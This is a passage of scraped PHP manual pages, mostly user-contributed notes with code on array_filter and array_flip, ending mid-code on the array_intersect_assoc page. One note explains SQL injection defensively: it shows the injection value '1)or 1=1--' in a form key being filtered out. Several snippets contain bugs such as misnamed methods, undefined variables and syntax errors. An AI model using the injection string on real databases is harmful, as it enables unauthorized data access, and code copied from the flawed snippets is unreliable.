To get rid of all white space in an array without looping.
<?php
   $array = array(5, "   ", 2, NULL, 13, "", 7, "\n", 4, "\t");
   print_r($array);
   $result = array_filter($array, create_function('$a','return preg_match("#\S#", $a);'));
   print_r($result);
?>
Array
(
    [0] => 5
    [1] =>
    [2] => 2
    [3] =>
    [4] => 13
    [5] =>
    [6] => 7
    [7] =>

    [8] => 4
    [9] =>
)
Array
(
    [0] => 5
    [2] => 2
    [4] => 13
    [6] => 7
    [8] => 4
)
Anonymous 14-Jan-2013 02:52
If you want a quick way to remove NULL, FALSE and Empty Strings (""), but leave values of 0 (zero), you can use the standard php function strlen as the callback function:
eg:
<?php

// removes all NULL, FALSE and Empty Strings but leaves 0 (zero) values
$result = array_filter( $array, 'strlen' );

?>
jtreminio at gmail dot com 05-Oct-2012 04:11
You can use array_filter from within a class to access a protected method from that same class:

<?php

class Bar {
    public function foo()
    {
        $array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);

        print_r(array_filter($array1, array($this, 'naz')));
    }

    protected function baz($var)
    {
        return($var & 1);
    }
}

$bar = new Bar();
$bar->foo();
?>
John Erck: erck0006 at junkyo dot gmail dot com 05-Apr-2012 05:09
<?php
// ARRAY FILTER RECURSIVE USING CLASS, STATIC METHOD, AND ANONYMOUS CALLBACK FUNCTION
// NOTE THAT THE CALLBACK HAS ACCESS TO BOTH THE KEY AND VALUE

// THE CLASS (FOR YOU TO COPY)
class ArrayUtil
{
    public static function FilterRecursive(Array $source, $fn)
    {
        $result = array();
        foreach ($source as $key => $value)
        {
            if (is_array($value))
            {
                $result[$key] = self::FilterRecursive($value, $fn);
                continue;
            }
            if ($fn($key, $value))
            {
                $result[$key] = $value; // KEEP
                continue;
            }
        }
        return $result;
    }
}

// EXAMPLE ANONYMOUS CALLBACK FUNCTION
$fn = function ($key, $value)
{
    if (strpos($key, 'drop') !== FALSE)
    {
        return FALSE; // DROP
    }
    return TRUE; // KEEP
};

// EXAMPLE PRE FILTER TEST DATA
$preFilter = array(
    'a' => 'one',
    'b' => array(
        'example_drop' => 'filter me out',
        'example_keep' => 'keep me',
    ),
    'c' => 'three',
);

// EXAMPLE USAGE CODE
echo '// print_r($preFilter);' . "\n";
print_r($preFilter);
$postFilter = ArrayUtil::FilterRecursive($preFilter, $fn);
echo "\n";
echo '// print_r($postFilter);' . "\n";
print_r($postFilter);

/* OUTPUT OPEN
// print_r($preFilter);
Array
(
    [a] => one
    [b] => Array
        (
            [example_drop] => filter me out
            [example_keep] => keep me
        )

    [c] => three
)

// print_r($postFilter);
Array
(
    [a] => one
    [b] => Array
        (
            [example_keep] => keep me
        )

    [c] => three
)
OUTPUT CLOSE */
spam dot 2011 at rebell dot at 21-Nov-2011 11:28
If you have not noticed already - array_filter() can be used to remove empty elements, since an empty string considered "false", if you not specify a callback

Keep in mind, that this will remove also some other values - so if you want a quick "remove empty elements from array" this function will be fine, as long as you dont have anything to keep, which casts to "false"
lisachenko dot it at HUMAN dot gmail dot com 22-Jul-2011 09:54
You can access the current key of array by passing a reference to array into callback function and call key() and next() method in the callback function:
<?php
$data = array('first' => 1, 'second' => 2, 'third' => 3);
$data = array_filter($data, function ($item) use (&$data) {
    echo "Filtering key ", key($data), '<br>', PHP_EOL;
    next($data);
    return false;
});
?>

However be careful with array internal pointer or use reset() method before calling array_filter().
breich at reich-consulting dot net 15-Dec-2010 08:19
I built the following array_remove_keys() function to
remove one or more keys from an array.

<?php

function array_remove_keys($array, $keys = array()) {

    // If array is empty or not an array at all, don't bother
    // doing anything else.
    if(empty($array) || (! is_array($array))) {
        return $array;
    }

    // If $keys is a comma-separated list, convert to an array.
    if(is_string($keys)) {
        $keys = explode(',', $keys);
    }

    // At this point if $keys is not an array, we can't do anything with it.
    if(! is_array($keys)) {
        return $array;
    }

    // array_diff_key() expected an associative array.
    $assocKeys = array();
    foreach($keys as $key) {
        $assocKeys[$key] = true;
    }

    return array_diff_key($array, $assocKeys);
}

// Example:
$data = array(
    'name' => 'Brian',
    'address1' => '98 Market St.',
    'address2' => 'N/A'
);

// Output before array_remove_keys()
var_dump($data);

// Remove address2 key.
$data = array_remove_keys($data, 'address2');

// Output after array_remove_keys()
var_dump($data);

/* Output:

array(3) {
  ["name"]=>
  string(5) "Brian"
  ["address1"]=>
  string(13) "98 Market St."
  ["address2"]=>
  string(3) "N/A"
}
array(2) {
  ["name"]=>
  string(5) "Brian"
  ["address1"]=>
  string(13) "98 Market St."
}
*/
?>
rolf at example dot com 08-Nov-2010 08:06
Here is how you could easily delete a specific value from an array with array_filter:

<?php
$array = array (1, 3, 3, 5, 6);
$my_value = 3;
$filtered_array = array_filter($array, function ($element) use ($my_value) { return ($element != $my_value); } );
print_r($filtered_array);
?>

output:

Array
(
    [0] => 1
    [3] => 5
    [4] => 6
)
Peter Robinett 12-Aug-2010 05:09
Because array_filter() preserves keys, you should consider the resulting array to be an associative array even if the original array had integer keys for there may be holes in your sequence of keys. This means that, for example, json_encode() will convert your result array into an object instead of an array. Call array_values() on the result array to guarantee json_encode() gives you an array.
acid24 at gmail dot com 26-Jul-2010 02:58
A function that allows filtering an array by keys:

<?php
function array_filter_key( $input, $callback ) {
    if ( !is_array( $input ) ) {
        trigger_error( 'array_filter_key() expects parameter 1 to be array, ' . gettype( $input ) . ' given', E_USER_WARNING );
        return null;
    }

    if ( empty( $input ) ) {
        return $input;
    }

    $filteredKeys = array_filter( array_keys( $input ), $callback );
    if ( empty( $filteredKeys ) ) {
        return array();
    }

    $input = array_intersect_key( array_flip( $filteredKeys ), $input );

    return $input;
}

?>

Example:

<?php
$input = array_flip( range( 'a', 'z' ) );

$consonants = array_filter_key( $arr, function( $elem ) {
    $vowels = "aeiou";
    return strpos( $vowels, strtolower( $elem ) ) === false;
} );
?>

Outputs:

array(21) {
  ["b"]=>
  int(1)
  ["c"]=>
  int(2)
  ["d"]=>
  int(3)
  ["f"]=>
  int(5)
  ["g"]=>
  int(6)
  ["h"]=>
  int(7)
  ["j"]=>
  int(9)
  ["k"]=>
  int(10)
  ["l"]=>
  int(11)
  ["m"]=>
  int(12)
  ["n"]=>
  int(13)
  ["p"]=>
  int(15)
  ["q"]=>
  int(16)
  ["r"]=>
  int(17)
  ["s"]=>
  int(18)
  ["t"]=>
  int(19)
  ["v"]=>
  int(21)
  ["w"]=>
  int(22)
  ["x"]=>
  int(23)
  ["y"]=>
  int(24)
  ["z"]=>
  int(25)
}
Ant P. 13-Mar-2010 05:58
If you're using filter_input_array, the values will be null on failure and anything else on success. Because array_filter by default removes false, 0 and "" you need to do extra work like this:
<?php
$input_array = filter_input_array(INPUT_GET, array(
  'var1' => FILTER_VALIDATE_BOOLEAN,
  'var2' => FILTER_VALIDATE_INT
));

array_filter($input_array, function($a) { return !is_null($a) });
?>
webdesign at blackbyrd dot biz 08-Oct-2009 10:00
Here's a function that will filter a multi-demensional array. This filter will return only those items that match the $value given

<?php
    /*
     * filtering an array
     */
    function filter_by_value ($array, $index, $value){
        if(is_array($array) && count($array)>0)
        {
            foreach(array_keys($array) as $key){
                $temp[$key] = $array[$key][$index];

                if ($temp[$key] == $value){
                    $newarray[$key] = $array[$key];
                }
            }
          }
      return $newarray;
    }
?>

Example:

<?php
$results = array(
   0 => array('key1' => '1', 'key2' => 2, 'key3' => 3),
   1 => array('key1' => '12', 'key2' => 22, 'key3' => 32)
);

$nResults = filter_by_value($results, 'key2', '2');
?>

Output :

array(
    0 => array('key1' => '1', 'key2' => 2, 'key3' => 3)
);
mewsterus at yahoo dot com 14-Sep-2009 07:13
Here's an easy way to get a combination of keys and values, such that if you don't specify a key you will get the value, and if you do specify a key you will get the key:

<?php
$array = array('One' => 'First', 'Second', 'Third', 'Four' => 'Fourth', 'Fifth');

var_dump(array_keys($array));

$names = array_filter(array_keys($array), 'is_string') + array_values($array);
ksort($array);

var_dump($names);
?>

Outputs:

array(5) {
  [0]=>string(3) "One"
  [1]=>int(0)
  [2]=>int(1)
  [3]=>string(4) "Four"
  [4]=>int(2)
}
array(5) {
  [0]=>string(3) "One"
  [1]=>string(6) "Second"
  [2]=>string(5) "Third"
  [3]=>string(4) "Four"
  [4]=>string(5) "Fifth"
}

Without using ksort, the keys appear before the fallback values, instead of inline and appearing like they replace them, however the keys are intact (which is why ksort works) so it's only execution order.
mchargue at usc dot edu 07-Aug-2009 11:34
Wanting to pass an additional to parameter to the callback function?  This worked for me, there's probably another way to accomplish this task but just so you see how it can be done.  (I actually used this technique to strip old dates out of an array) :

<?php
//define in global scope so functions can access
$var_to_pass = null;

function myfilter($input_var_outer,$param) {

    global $var_to_pass;
    $var_to_pass = $param;

    function mycallback($input_var_inner) {
      global $var_to_pass;
      return ($input_var_inner>$var_to_pass) ? true : false;
    }

    $return_arr = array_filter($input_var_outer,'mycallback');
    //re-key if you want
    $return_arr = array_merge(array(),$return_arr);
    return $return_arr;

}

$min = 5;
$a = array(1,3,5,7,9);

//remove elements from array that are not greater than $min
$a = myfilter($a,$min);

echo "<pre>";
print_r($a);
echo "</pre>";
?>

--

Output:
Array
(
    [0] => 7
    [1] => 9
)
chrisstocktonaz at gmail dot com 30-Apr-2009 06:34
I use the following to see if a array consist of scalar values or null, but of course you could mix it up using any of the is_ functions.

<?php
if(count($data) !== count(array_filter($data, 'is_scalar') + array_filter($data, 'is_null'))) {
  throw new Exception('Array did not consist of scalar and null values');
}
?>
niehztog 30-Dec-2008 10:27
In case you are interested (like me) in filtering out elements with certain key-names, array_filter won't help you. Instead you can use the following:

<?php
$arr = array( 'element1' => 1, 'element2' => 2, 'element3' => 3, 'element4' => 4 );
$filterOutKeys = array( 'element1', 'element4' );

$filteredArr = array_diff_key( $arr, array_flip( $filterOutKeys ) )
?>

Result will be something like this:
['element2'] => 2
['element3'] => 3
romain dot lamarche at gmail dot com 11-Dec-2008 03:39
This function filters an array and remove all null values recursively.

<?php
  function array_filter_recursive($input)
  {
    foreach ($input as &$value)
    {
      if (is_array($value))
      {
        $value = array_filter_recursive($value);
      }
    }

    return array_filter($input);
  }
?>

Or with callback parameter (not tested) :

<?php
  function array_filter_recursive($input, $callback = null)
  {
    foreach ($input as &$value)
    {
      if (is_array($value))
      {
        $value = array_filter_recursive($value, $callback);
      }
    }

    return array_filter($input, $callback);
  }
?>
darren at dazwin dot com 08-Oct-2008 08:44
Regarding comment about trimming empty strings, the code posted will get into an infinite loop if the array is reduced to zero elements. The following might be better:

<?php
function array_trim($array) {
    while (!empty($array) and strlen(reset($array)) === 0) {
        array_shift($array);
    }
    while (!empty($array) and strlen(end($array)) === 0) {
        array_pop($array);
    }
    return $array;
}
?>
sami 04-Oct-2008 08:11
Yes, it may remove NULLS, but it also removes anything that factors to a FALSE as well; like FALSE and ZERO. :/
quecoder at gmail 27-Aug-2008 12:00
// my implementation for array_filter

function my_array_filter($array,$function,$preserve=true)
        {
            $return = array();
            foreach ($array as $k=>$v)
                {
                    if($function($v)==true) $return[$k]=$v;
                }
                if($preserve) return $return;
                else return array_values($return);
        }

function odd($value)
        {
            return ($value & 1);
        }

$oddonly = array (1,2,3,4,5,6,7,8,9);
print_r(my_array_filter($oddonly,'odd',1));

//output
//Array ( [0] => 1 [2] => 3 [4] => 5 [6] => 7 [8] => 9 )

//Khaled Mohammed
WASD 29-Jul-2008 01:53
You can easily delete all NULL elements from array with following statement:

<?php
$arr = array_filter($arr);
?>
Martin 04-Sep-2007 07:56
This function trims empty strings from the beginning and end of an array.
It's useful when outputing plaintext files on a page and you want to skip empty lines at the beginning and end, but not within the text.

<?php
function array_trim($array) {
    while (strlen(reset($array)) === 0) {
        array_shift($array);
    }
    while (strlen(end($array)) === 0) {
        array_pop($array);
    }
    return $array;
}
?>

You might want to trim each element too.
Hayley Watson 30-Aug-2007 12:49
Just a simplification of my function from last month.

<?php
function partition($input, $callback=null)
{
    if(is_null($callback))
        $true = array_filter($input);
    else
        $true = array_filter($input, $callback);

    $false = array_diff_key($input, $true);
}
?>
leon at darkk dot net dot ru 22-May-2007 09:15
Here is a way to get customizable filter

<?php
function blablabla() {
    ....
    $new = getNewUidls();
    class UidlFilter {
        function UidlFilter($uidls) { $this->uidls = $uidls; }
        function filter($metamsg) { return in_array($metamsg['uidl'], $this->uidls); }
    }
    $msglist = array_filter($msglist, array(new UidlFilter($new), 'filter');
    ....
}
?>
Fladnag - bahatest at ifrance dot com 22-Oct-2006 06:19
If you have a form with multiple checkbox having ID element as value for selection in a list, you probably have a SQL request like :
$req="SELECT ... WHERE ID IN (".implode(',', array_keys($choices)).")";
without quote before and after choices keys because they are numeric values... but in fact, they can be string values, and a SQL injection problem.

with array_filter, you can easily filter bad values :
<?php
    $choices=array('A'=>'on', -1=>'on', 0=>'on', 1=>'on', 12=>'on', "1)or 1=1--"=>'on');
    print_r($choices);
    $choices=array_filter(array_keys($choices), 'is_numeric');
    print_r($choices);
?>
will print :
<?php
Array
(
    [A] => on
    [-1] => on
    [0] => on
    [1] => on
    [12] => on
    [1)or 1=1--] => on
)
Array
(
    [1] => -1
    [2] => 0
    [3] => 1
    [4] => 12
)
?>
ydotzhangatwriwindberdotorg 17-Jan-2006 10:57
I have written a function that will filter an array by the frequency of
element value in the array.  This may be useful to some people.

<?php
/////////////////////////////////////////////////////////////////
//    Filter an array by value freguebcy
//    Input: $array
//    cut-off: $frequency (>=1)
//    result option option: 1=$frequency and higher
//          0=$frequency only
//          -1=$frequency and lower
/////////////////////////////////////////////////////////////////
function filter_array($array, $frequency = 2, $include = 1){
    $freg = array_count_values($array);
    if($frequency<1){
       print "** frequency cut-off should be >= 1! **\n";
       return false;
    }
    foreach($freg as $k => $v){
        if($include == 0){
            if($frequency != $v){
                $freg[$k] = 0;
            }
        }elseif($include > 0){
            if($frequency > $v){
                $freg[$k] = 0;
            }
        }else{
            if($frequency < $v){
                $freg[$k] = 0;
            }
        }
    }
    $filtered = array_filter($freg);
    $values = array_keys($filtered);
    return array_intersect($array,$values);
}
?>
xert 26-Apr-2005 02:14
According to a simple test with array_filter($array) and array_diff($array, array('')) is array_filter 2.5 times faster than array_diff when deleting empty entries.
marc dot vanwoerkom at fernuni-hagen dot de 05-Jul-2004 05:09
Some of PHP's array functions play a prominent role in so called functional programming languages, where they show up under a slightly different name:

<?php
  array_filter() -> filter(),
  array_map() -> map(),
  array_reduce() -> foldl() ("fold left")
?>

Functional programming is a paradigm which centers around the side-effect free evaluation of functions. A program execution is a call of a function, which in turn might be defined by many other functions. One idea is to use functions to create special purpose functions from other functions.

The array functions mentioned above allow you compose new functions on arrays.

E.g. array_sum = array_map("sum", $arr).

This leads to a style of programming that looks much like algebra, e.g. the Bird/Meertens formalism.

E.g. a mathematician might state

  map(f o g) = map(f) o map(g)

the so called "loop fusion" law.

Many functions on arrays can be created by the use of the foldr() function (which works like foldl, but eating up array elements from the right).

I can't get into detail here, I just wanted to provide a hint about where this stuff also shows up and the theory behind it.
Maxwel Leite 11-May-2004 05:17
For any type of array. Basead in redshift code.

<?php
function array_clean ($array, $todelete = false, $caseSensitive = false) {
    foreach($array as $key => $value) {
        if(is_array($value)) {
            $array[$key] = array_clean($array[$key], $todelete, $caseSensitive);
        }
        else {
            if($todelete) {
                if($caseSensitive) {
                    if(strstr($value ,$todelete) !== false)
                        unset($array[$key]);
                }
                else {
                    if(stristr($value, $todelete) !== false)
                        unset($array[$key]);
                }
            }
            elseif (empty($value)) {
                unset($array[$key]);
            }
        }
    }
    return $array;
}
?>
Jeremy 29-Dec-2003 10:31
Here is a nice little function which will apply a callback function recursively over a multidimensional array. If the callback function returns false, then it replaces the value of the array with $filtered_ouput. This function gracefully handles objects inside of arrays (and objects within objects within arrays, etc). It is specifically designed for your callback function to process on the array key's (unlike normal array_filter which filters on the values), but it could work on the array values depending on your test criteria (YMMV).

<?PHP

function array_key_filter_multi($array, $callback, $filtered_output = "")
{
   $ret = array();
   foreach($array as $key=>$value) {
       if($callback($key,$value)) {
           if(is_array($value)) {
               $ret[$key] = array_key_filter_multi($value, $callback, $filtered_output);
           }
           elseif(is_object($value)) {
               $ret[$key] = array_key_filter_multi(get_object_vars($value), $callback, $filtered_output);
           }
           else {
               $ret[$key]=$value;
           }
       }
       else {
           $ret[$key]=$filtered_output;
       }
   }
   return $ret;
}

?>

We use this to filter redundant data from debugging output. An example usage is:

<?

$callback_func = create_function('$key, $value', 'return ($key == "db" || $key == "smarty") ? false : true;');
echo "<PRE>" . print_r(array_key_filter_multi($_SESSION, $callback_func, "**filtered by function**"), true) . "</PRE>";

?>

Which filters all keys with "db" or "smarty" as their name (including objects which have a reference to those variables). The output of the above in a test case I did is the following:

Array
(
    [userdata] => Array
        (
            [sid] => a130e675d380e0e9fe47897922d719ac
            [not_in_db] =>
            [user_id] => 1
            [session_id] => 154
            [permissions] => 1
            [username] => tester
        )
    [systemobjects] => Array
        (
            [db] => **filtered by function**
            [smarty] => **filtered by function**
        )
)
redshift at pandora dot be 28-Jun-2003 09:01
Hi all,
Here's a function that will look trough an array, and removes the array member when the search string is found.

<?php
function array_clean ($input, $delete = false, $caseSensitive = false)
    {
    $i = 0;
    while($i < count($input))
        {
        if($delete)
            {
            if($caseSensitive)
                {
                if(!strstr($input[$i] ,$delete))
                    {
                    $return[] = $input[$i];
                    }
                }
                else
                {
                if(!stristr($input[$i], $delete))
                    {
                    $return[] = $input[$i];
                    }
                }
            }
            else
            {
            if(!empty($input[$i]))
                {
                $return[] = $input[$i];
                }
            }
        $i++;
        }
    return $return;
    }
?>

array array_clean(array input [, string needle [, boolean case sensitive]])

if needle is left empty, the function will delete the array members that have no value (this means if it's empty).
NOTE: It rebuilds the array from scratch, so keys begin with 0, like you would create a new array.

Example:
$array = array("John", "Doe", "Macy");
$array = array_clean($array, "doe", false);

print_r($array);
would return:
array
(
    [0] => John
    [1] => Macy
)

Hopes this helps someone :-)
skd2 at ece dot msstate dot edu 15-May-2003 12:24
The following function modifies the supplied array recursively so that filtering is performed on multidimentional arrays as well, while preserving keys.

<?php
function array_cleanse(&$arr){

$temp = array();
reset($arr);
if(count($arr) == 0) return "";

foreach($arr as $key=>$val):

 (is_array($val))? array_cleanse($val) : NULL;
 ($val)? $temp[$key] = $val : NULL;

endforeach;

$arr = $temp;
reset($arr);
}
?>

$arr1 = array('a'=>20,'b'=>array(''),'c'=>array(1,0,2),'d'=>0);
array_cleanse($arr1);
$arr1 will be array('a'=>20,'c'=>array(1,2))

array_filter may not be used as it does not modify the array within itself.
ajohnson at speakeasy dot org 27-Sep-2002 09:42
be careful with the above function "array_delete"'s use of the stristr function, it could be slightly misleading. consider the following:

<?php
function array_delete($array, $filterforsubstring){
    $thisarray = array ();
    foreach($array as $value)
        if(stristr($value, $filterforsubstring)===false && strlen($value)>0)
            $thisarray[] = $value;
    return $thisarray;
}

function array_delete2($array, $filterforstring, $removeblanksflag=0){
    $thisarray = array ();
    foreach($array as $value)
        if(!(stristr($value, $filterforstring) && strlen($value)==strlen($filterforstring))
                && !(strlen($value)==0 && $removeblanksflag))
            $thisarray[] = $value;
    return $thisarray;
}

function array_delete3($array, $filterfor, $substringflag=0, $removeblanksflag=0){
    $thisarray = array ();
    foreach($array as $value)
        if(
            !(stristr($value, $filterfor)
                && ($substringflag || strlen($value)==strlen($filterfor))
            )
            && !(strlen($value)==0 && $removeblanksflag)
        )
            $thisarray[] = $value;
    return $thisarray;
}

$array1 = array ('the OtHeR thang','this', 'that', 'OtHer','', 9, 101, 'fifty', ' oTher', 'otHer ','','other','Other','','other blank things');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "array_delete(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other");

echo "array_delete2(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other",1);

echo "array_delete2(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",1);

echo "array_delete3(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",0,1);

echo "array_delete3(\$array1, \"Other\",0,1):\n";
print_r($array2);
 ?>
ajohnson at speakeasy dot org 17-Aug-2002 10:04
I was looking for a function to delete values from an array and thought I had found it in array_filter(), however, I *didn't* want the keys to be preserved *and* I needed blank values cleaned out of the array as well. I came up with the following (with help from many of the above examples):

<?php
function array_delete($array, $filterfor){
  $thisarray = array ();
  foreach($array as $value)
    if(stristr($value, $filterfor)===false && strlen($value)>0)
      $thisarray[] = $value;
  return $thisarray;
}

$array1 = array ('OtHeR','this', 'that', 'Other','', 9, 101, 'fifty', 'other','','');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "filtered:\n";
print_r($array2);
?>


Exchanges all keys with their associated values in an array

  • « array_filter
  • array_intersect_assoc »
  • PHP Manual
  • Array Functions
  • Exchanges all keys with their associated values in an array

array_flip

(PHP 4, PHP 5)

array_flip — Exchanges all keys with their associated values in an array

Description

array array_flip ( array $array )

array_flip() returns an array in flip order, i.e. keys from array become values and values from array become keys.

Note that the values of array need to be valid keys, i.e. they need to be either integer or string. A warning will be emitted if a value has the wrong type, and the key/value pair in question will not be included in the result.

If a value has several occurrences, the latest key will be used as its value, and all others will be lost.

Parameters

array

An array of key/value pairs to be flipped.

Return Values

Returns the flipped array on success and NULL on failure.

Examples

Example #1 array_flip() example

<?php
$trans = array_flip($trans);
$original = strtr($str, $trans);
?>

Example #2 array_flip() example : collision

<?php
$trans = array("a" => 1, "b" => 1, "c" => 2);
$trans = array_flip($trans);
print_r($trans);
?>

now $trans is:

Array
(
    [1] => b
    [2] => c
)

See Also

  • array_values() - Return all the values of an array
  • array_keys() - Return all the keys or a subset of the keys of an array
  • array_reverse() - Return an array with elements in reverse order

User Contributed Notes

grimdestripador at hotmail dot com 25-Feb-2014 09:06
<?php
function array_flip_into_subarray($input){
$output = array();
foreach ($input as $key=>$values){
    foreach ($values as $value){
        $output[$value][] = $key;
    }
}
return $output;
}
Tony H 29-Apr-2013 11:59
This function is useful when parsing a CSV file with a heading column, but the columns might vary in order or presence:

<?php

$f = fopen("file.csv", "r");

/* Take the first line (the header) into an array, then flip it
so that the keys are the column name, and values are the
column index. */
$cols = array_flip(fgetcsv($f));

while ($line = fgetcsv($f))
{
    // Now we can reference CSV columns like so:
    $status = $line[$cols['OrderStatus']];
}

?>

I find this better than referencing the numerical array index.
Anonymous 05-Apr-2012 07:17
Similarly, if you want the last value without affecting the pointer, you can do:

<?php

$array = array("one","two","three");

echo next($array); // "two"

$last = array_pop(array_keys(array_flip($array)));

echo $last;  // "three"

echo current($array); // "two"

?>
kjensen at iaff106 dot com 06-Jan-2012 07:23
I needed a way to flip a multidimensional array and came up with this function to accomplish the task.  I hope it helps someone else.

<?php
function multi_array_flip($arrayIn, $DesiredKey, $DesiredKey2=false, $OrigKeyName=false) {
$ArrayOut=array();
foreach ($arrayIn as $Key=>$Value)
    {
        // If there is an original key that need to be preserved as data in the new array then do that if requested ($OrigKeyName=true)
        if ($OrigKeyName) $Value[$OrigKeyName]=$Key;
        // Require a string value in the data part of the array that is keyed to $DesiredKey
        if (!is_string($Value[$DesiredKey])) return false;

        // If $DesiredKey2 was specified then assume a multidimensional array is desired and build it
        if (is_string($DesiredKey2))
        {
            // Require a string value in the data part of the array that is keyed to $DesiredKey2
            if (!is_string($Value[$DesiredKey2])) return false;

            // Build NEW multidimensional array
            $ArrayOut[$Value[$DesiredKey]][$Value[$DesiredKey2]]=$Value;
        }

            // Build NEW single dimention array
        else $ArrayOut[$Value[$DesiredKey]][]=$Value;
    }
return $ArrayOut;
}//end multi_array_flip
?>
Final 16-Dec-2011 01:16
I find this function vey useful when you have a big array and you want to know if a given value is in the array. in_array in fact becomes quite slow in such a case, but you can flip the big array and then use isset to obtain the same result in a much faster way.
h3x 12-Sep-2010 10:11
this function can be used to remove null elements form an array:

<?php
$ar = array(null,'1','2',null,'3',null);
print_r($ar);
/*
result:
Array
(
    [0] =>
    [1] => 1
    [2] => 2
    [3] =>
    [4] => 3
    [5] =>
)
*/

print_r(array_flip(array_flip($ar)));
/*
result:
Array
(
    [1] => 1
    [2] => 2
    [4] => 3
)
*/
?>
Hayley Watson 20-Mar-2009 11:22
Finding the longest string in an array?

<?php
function longest_string_in_array($array)
{
    $mapping = array_combine($array, array_map('strlen', $array));
    return array_keys($mapping, max($mapping));
}
?>

Differences are obvious: returns an array of [i]all[/i] of the longest strings, instead of just picking one arbitrarily. Doesn't do the stripslashing or magic stuff because that's another job for for another function.
dan at aoindustries dot com 07-Mar-2009 09:48
From an algorithmic efficiency standpoint, building an entire array of lengths to then sort to only retrieve the longest value is unnecessary work.  The following should be O(n) instead of O(n log n).  It could also be:

<?php
function get_longest_value($array) {
    // Some don't like to initialize, I do
    $longest = NULL;
    $longestLen = -1;
    foreach ($array $value) {
        $len = strlen($value);
        if($len>$longestLen) {
            $longest = $value;
            $longestLen = $len;
        }
    }
    $longest = str_replace("\r\n", "\n", $longest);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
corz at corz dot org 08-Dec-2008 10:36
<?php
/*
    Fun function to return the longest physical *value* from an array.

    Culled from a small script designed to capture the longest $_POST variable,
    usually the textarea, which would then be dumped to a "emergency post dump file".

    corz at corz dot org
*/

$array = array("input" => "submit", "textarea" => "Some long spiel of text\r\na textarea, probably",
                        "another-input" => "make me longer", "and" => "another", "etc" => "etc.");

echo '<!DOCTYPE HTML SYSTEM><html><head><title>long</title></head><body><pre>Longest value: ',
                                            get_longest_value($array),'</pre></body></html>';

function get_longest_value($array) {
    foreach ($array as $key => $value) {
        $lengths[$key] = strlen($value);
    }
    asort($lengths);
    $lengths = array_flip($lengths);
    $longest = str_replace("\r\n", "\n", $array[array_pop($lengths)]);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
pinkgothic at gmail dot com 26-Apr-2007 10:37
In case anyone is wondering how array_flip() treats empty arrays:

<?php
print_r(array_flip(array()));
?>

results in:

Array
(
)

I wanted to know if it would return false and/or even chuck out an error if there were no key-value pairs to flip, despite being non-intuitive if that were the case. But (of course) everything works as expected. Just a head's up for the paranoid.
snaury at narod dot ru 23-Nov-2004 08:21
When you do array_flip, it takes the last key accurence for each value, but be aware that keys order in flipped array will be in the order, values were first seen in original array. For example, array:

    [1] => 1
    [2] => 2
    [3] => 3
    [4] => 3
    [5] => 2
    [6] => 1
    [7] => 1
    [8] => 3
    [9] => 3

After flipping will become:
(first seen value -> first key)

    [1] => 7
    [2] => 5
    [3] => 9

And not anything like this:
(last seen value -> last key)

    [2] => 5
    [1] => 7
    [3] => 9

In my application I needed to find five most recently commented entries. I had a sorted comment-id => entry-id array, and what popped in my mind is just do array_flip($array), and I thought I now would have last five entries in the array as most recently commented entry => comment pairs. In fact it wasn't (see above, as it is the order of values used). To achieve what I need I came up with the following (in case someone will need to do something like that):

First, we need a way to flip an array, taking the first encountered key for each of values in array. You can do it with:

  $array = array_flip(array_unique($array));

Well, and to achieve that "last comments" effect, just do:

  $array = array_reverse($array, true);
  $array = array_flip(array_unique($array));
  $array = array_reverse($array, true);

In the example from the very beginning array will become:

    [2] => 5
    [1] => 7
    [3] => 9

Just what I (and maybe you?) need. =^_^=
znailz at yahoo dot com 05-Aug-2003 11:42
I know a lot of people want a function to remove a key by value from an array. I saw solutions that iterate(!) though the whole array comparing value by value and then unsetting that value's key. PHP has a built-in function for pretty much everything (heard it will even cook you breakfast), so if you think "wouldn't it be cool if PHP had a function to do that...", odds are it already has. Check out this example. It takes a value, gets all keys for that value if it has duplicates, unsets them all, and returns a reindexed array.

<?php
$arr = array(11,12,13,12);        // sample array
$arr = array_flip($arr);
unset($arr[12]);
$arr = array(array_keys($arr));
?>

$arr contains:

Array
(
    [0] => Array
        (
            [0] => 11
            [1] => 13
        )
?>

)


Computes the intersection of arrays with additional index check

  • « array_flip
  • array_intersect_key »
  • PHP Manual
  • Array Functions
  • Computes the intersection of arrays with additional index check

array_intersect_assoc

(PHP 4 >= 4.3.0, PHP 5)

array_intersect_assoc — Computes the intersection of arrays with additional index check

Description

array array_intersect_assoc ( array $array1 , array $array2 [, array $... ] )

array_intersect_assoc() returns an array containing all the values of array1 that are present in all the arguments. Note that the keys are used in the comparison unlike in array_intersect().

Parameters

array1

The array with master values to check.

array2

An array to compare values against.

...

A variable list of arrays to compare.

Return Values

Returns an associative array containing all the values in array1 that are present in all of the arguments.

Examples

Example #1 array_intersect_assoc() example

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "b" => "yellow", "blue", "red");
$result_array = array_intersect_assoc($array1, $array2);
print_r($result_array);
?>

The above example will output:

Array
(
    [a] => green
)

In our example you see that only the pair "a" => "green" is present in both arrays and thus is returned. The value "red" is not returned because in $array1 its key is 0 while the key of "red" in $array2 is 1, and the key "b" is not returned because its values are different in each array.

The two values from the key => value pairs are considered equal only if (string) $elem1 === (string) $elem2 . In other words a strict type check is executed so the string representation must be the same.

See Also

  • array_intersect() - Computes the intersection of arrays
  • array_uintersect_assoc() - Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_intersect_uassoc() - Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_uintersect_uassoc() - Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
  • array_diff() - Computes the difference of arrays
  • array_diff_assoc() - Computes the difference of arrays with additional index check

User Contributed Notes

Whitend 04-Aug-2012 05:08
One of the ways to get intersection of two arrays is as follows:

<?php
function arrayIntersect( $primary_array, $secondary_array ) {

    if ( !is_array( $primary_array ) || !is_array( $secondary_array ) ) {
        return false;
    }

    if ( !empty( $primary_array ) ) {

        foreach( $primary_array as $key => $value ) {

            if ( !isset( $secondary_array[$key] ) ) {
